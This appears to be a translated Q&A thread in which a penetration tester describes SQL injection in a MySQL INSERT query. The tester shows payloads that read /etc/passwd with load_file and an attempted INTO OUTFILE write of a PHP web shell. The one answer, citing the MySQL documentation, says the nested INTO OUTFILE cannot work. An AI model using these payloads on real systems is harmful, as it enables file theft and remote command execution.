在INSERT MySQL查询中选择INTO OUTFILE

时间:2016-10-06 14:35:48

标签: php mysql sql-injection

这是一个有趣的场景。在最近的一次测试中,我在INSERT查询中遇到了SQL注入。后端代码如下所示:

$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";

我能够在文件中插入任意值,甚至可以使用SELECT子查询来插入' / etc / passwd'的内容。到sometable里面的col1,稍后通过应用程序中其他地方完全不同的功能来阅读它。

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";

挑战是使用INTO OUTFILE将文件写入磁盘(我有FILE privs,文档根目录可由MySQL用户写入 - 已验证)。看起来MySQL不支持以下内容:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";

目的是在我有写权限的文件夹中编写一个php web shell。需要执行的最终查询是:

 $sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";

MySQL期望子查询返回数据,这就是上述语句似乎不起作用的原因,因为INTO OUTFILE会将数据写入磁盘而不是将其返回给MySQL。

您认为有解决方法吗?

1 个答案:

答案 0 :(得分:5)

来自http://dev.mysql.com/doc/refman/5.7/en/select-into.html

  

不应在嵌套的SELECT中使用INTO子句,因为这样   SELECT必须将其结果返回到外部上下文。

所以答案是否定的,我想。

另见mysql insert can't with select into outfile?